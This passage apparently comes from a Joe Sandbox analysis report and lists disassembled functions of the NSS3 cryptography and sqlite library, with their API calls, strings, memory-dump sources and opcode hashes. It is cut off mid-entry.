API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction ID: dd899951fad1d72f1551169038c0c8965097b4dfa37c7991ce1499b099058135
Opcode Fuzzy Hash: f4ca8bca7b8f24f4a6aab09df3110143c3cf5a76afd81c3c42e1e0a6b956e476
Instruction Fuzzy Hash: 8E41C5B6D002019BEB119F65EC40A6A77B8EF0525CF254175ED18C7B12FB31D914CBA2

Function 6CE5BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BFFB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CE5C015

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CE5C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CE5C04D

Part of subcall function 6CEA69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEA6A47
Part of subcall function 6CEA69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CEA6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CE5C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CE5C07B

Part of subcall function 6CE58980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CE57310), ref: 6CE589B8
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CE57310), ref: 6CE589E6
Part of subcall function 6CE58980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CE58A00
Part of subcall function 6CE58980: CERT_CopyRDN.NSS3(00000004,00000000,6CE57310,?,?,00000004,?), ref: 6CE58A1B
Part of subcall function 6CE58980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CE58A74

Part of subcall function 6CE51D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D2C
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CE5C09B,00000000,00000000,00000000,?,6CE5C097,00000000,000000B0,?), ref: 6CE51D3F
Part of subcall function 6CE51D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CE5C087,00000000,000000B0,?), ref: 6CE51D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CE5C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CE5C0C9

Part of subcall function 6CE62DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CE5C0D2,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62DF5
Part of subcall function 6CE62DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CE5C0CE,00000000,-000000D4,?), ref: 6CE62E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CE5C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5C0E3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 554c390644b9f1535efb5dd6ecf2e4f01362341229c631a6d8342a0aacdbdd47
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 592195E264020527FB006A61AD91FFB327C9B4575CF684038FD04D9746FB27D5298372

Function 6CE52E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E

Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE59003,?), ref: 6CEAFD91
Part of subcall function 6CEAFD80: PORT_Alloc_Util.NSS3(A4686CEB,?), ref: 6CEAFDA2
Part of subcall function 6CEAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEB,?,?), ref: 6CEAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33

Part of subcall function 6CEAFD80: free.MOZGLUE(00000000,?,?), ref: 6CEAFDD1

TlsGetValue.KERNEL32 ref: 6CE52E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
PL_HashTableLookup.NSS3(?), ref: 6CE52E71
PL_HashTableRemove.NSS3(?), ref: 6CE52E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
PR_Unlock.NSS3 ref: 6CE52EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE52EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE52EC5

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction ID: 83c9134bbe055912e52b1b83e02de38759513cc350737315b933a81d6cfc7aac
Opcode Fuzzy Hash: 8fa8b77e8e847f44fab9fb25e4384e8cccce64cdbdb3d58ef204a395c8a85fa6
Instruction Fuzzy Hash: A6210472F04101ABEF021B64EC49B9A3A79EB6239DF244434ED1896711FB33D669C7E1

Function 6CE3FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3FD18
sqlite3_initialize.NSS3 ref: 6CE3FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE3FD99
sqlite3_free.NSS3(00000000), ref: 6CE3FE3C
sqlite3_free.NSS3(?), ref: 6CE3FEE3
sqlite3_free.NSS3(?), ref: 6CE3FEEE

Strings

simple, xrefs: 6CE3FC79

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction ID: 7563ccd30647141edcb60ede4231898dcac0e6c0dfae113e31e3211484c650bb
Opcode Fuzzy Hash: ec61952624407ef00c9440a0186c7a651673364cef1a49cbbf7bddbf964b9854
Instruction Fuzzy Hash: 49917FB0A012158FDB04CF55C984BAAB7B1FF85318F35C5A9D8199BB52D739F801CB90

Function 6CE45CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE45EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE45EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE45E64
API call with %s database connection pointer, xrefs: 6CE45EC3
invalid, xrefs: 6CE45EBE
%s at line %d of [%.10s], xrefs: 6CE45EE0
misuse, xrefs: 6CE45EDB
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE45ED1

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction ID: cae583da165126cb0a61a957bc386642a7a3b7b58386fb2fe10b6ec5e6113e62
Opcode Fuzzy Hash: 765cae9bef616f7d1cf29c03c90909088f45480005950b30ba617d325125d456
Instruction Fuzzy Hash: 1281C070B07A029BEB198F65E848B6A7770BF4230CF39826DD8155BB51D730EC42CB92

Function 6CE2DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE2DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE2DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE2DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE2DE61, 6CE2DE90
database corruption, xrefs: 6CE2DE5C, 6CE2DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE2DE52, 6CE2DE81

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction ID: bd84589e9a49570e64f9b5e86a178f0aa74f6f912d3e9450cf4bf2aa4239d410
Opcode Fuzzy Hash: 85e70126177fa8c5d2ee432e41ad399d419d42b8e257a6a428ad2d3529378a0e
Instruction Fuzzy Hash: 5D81F4756047009FD714CF25C880B6A77F1BF4530CF24892DEA8A8BB51EB39EA46CB52

Function 6CDDCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDDB999), ref: 6CDDD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CDDB999), ref: 6CDDD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CDDB999), ref: 6CF2972B

Strings

%s at line %d of [%.10s], xrefs: 6CDDCFEC, 6CDDD018, 6CDDD029, 6CDDD03F, 6CF2978B
database corruption, xrefs: 6CDDCFE7, 6CDDD013, 6CDDD028, 6CDDD039, 6CDDD03E, 6CF29786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDCFDD, 6CDDD00E, 6CDDD022, 6CDDD033, 6CF29780

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction ID: 86a664f5414e1239b6170812dd11ff977306e59ef9671bcf7b49ddb3e86baf73
Opcode Fuzzy Hash: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction Fuzzy Hash: B6613871A052108BD310CF69C840BA6B7F5EF85318F29466DE4889FB52D376E947C7E1

Function 6CEDFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CEE0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CEE015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CEE01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CEE0202
free.MOZGLUE(?), ref: 6CEE0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0253

Strings

exporter, xrefs: 6CEE00F7

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction ID: 2516586fc12dfe8f6bc69b7ea90b1b768f3d9f27dd8d0055ee7076736cd6547b
Opcode Fuzzy Hash: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction Fuzzy Hash: BA611272D007899BEB118FA4DC00BEE77B6FF4834CF24452CE91A5A761EB319955D740

Function 6CEB4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEB536F,00000022,?,?,00000000,?), ref: 6CEB4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEB4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEB4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEB4FAE
free.MOZGLUE(?), ref: 6CEB4FC8

Strings

%s=%c%s%c, xrefs: 6CEB4FA9
%s=%s, xrefs: 6CEB4F89
oSl", xrefs: 6CEB4DFB, 6CEB4EF4, 6CEB4EC5

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction ID: 351484c25d15f20bf506ced6a66a5ec9e11c150c31a542a93cfe667bf72e57b4
Opcode Fuzzy Hash: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction Fuzzy Hash: C2513971A051598BEB02CA69C6917FFBBF59F4230CF388127F894BBB41D335980687A1

Function 6CEDEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEF6D

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

htonl.WSOCK32(00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFE4
htonl.WSOCK32(?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFF1
memcpy.VCRUNTIME140(?,?,6CEFA4A1,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF027

Strings

dtls13, xrefs: 6CEDEF33

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction ID: 1da4d489771a66a2eb6bcdc8a99fdc4399a8908b26bd7a81f39f67a2db50c9fc
Opcode Fuzzy Hash: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction Fuzzy Hash: 6A31C271A016119BC710DF28DC85B9AB7F4EF49348F268029E8189B751E731F916CBE2

Function 6CE5AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE5AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF79500,6CE53F91), ref: 6CE5AFD2

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

DER_GetInteger_Util.NSS3(?), ref: 6CE5B007

Part of subcall function 6CEA6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE51666,?,6CE5B00C,?), ref: 6CEA6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE5B02F
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE5B046
PL_FreeArenaPool.NSS3 ref: 6CE5B058
PL_FinishArenaPool.NSS3 ref: 6CE5B060

Strings

security, xrefs: 6CE5AFB8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction ID: 023fa78a122881f2b578fda1be5a8f88e757e78104663f8f8de3ac9017e30b4b
Opcode Fuzzy Hash: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction Fuzzy Hash: F031F271804300DBDB108F24D845BAA77B8AF8632CF70061DE8B4ABBD1E733951AC796

Function 6CE53E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
PL_FreeArenaPool.NSS3 ref: 6CE53F14
PL_FinishArenaPool.NSS3 ref: 6CE53F1C

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Strings

security, xrefs: 6CE53EBC

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
